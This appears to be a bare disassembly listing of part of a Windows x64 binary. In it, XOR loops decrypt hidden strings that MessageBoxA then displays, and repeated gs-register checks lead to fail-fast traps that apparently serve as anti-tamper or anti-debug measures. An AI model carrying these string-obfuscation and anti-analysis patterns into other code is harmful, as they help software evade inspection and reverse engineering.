mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003c166
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003c166
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c77b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb0c0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], Ordinal_143
mov r10, r15
movabs r8, 0x17ac1d8434
mov r11, r12
movabs rbx, 0x8080808080808081
movabs r9, 0x2f583b0868
movabs r14, 0x1647a34f3
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x14003c1cd
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400fb130]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0xd5fd60a7
mov word [rbp + 0x76c], 0xa9
mov r9, r15
movabs r8, 0x1d3e065804
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x3a7c0cb008
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r13
add r11, 0x15
cmp r8, r10
jb 0x14003c270
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x14003c3aa
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x41c1d7e
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003c38a
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003c38a
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c3aa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x14003c77b
mov rax, qword gs:[0x19]
mov ecx, 0xccc29034
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003c43d
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003c43d
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c77b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14003c518
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x41c1d7e
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003c4f8
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003c4f8
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c518
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb0c0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], Ordinal_143
mov rdi, r15
movabs rbx, 0x1647a34f3
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14003c8ac
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x14003c53e
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400fb010]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400fb2d0]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400fb300]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0xbde631d7
mov dword [rbp + 0xd0c], 0x2b31b110
mov dword [rbp + 0xd10], 0x773eae68
mov word [rbp + 0xd14], Ordinal_200
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.14003c920
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x14003c5d3
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14003c6d1
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003c6b1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003c6b1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c6d1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14003c77b
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003c75b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003c75b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c77b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov ecx, 1
call fcn.1400a2aa8
int3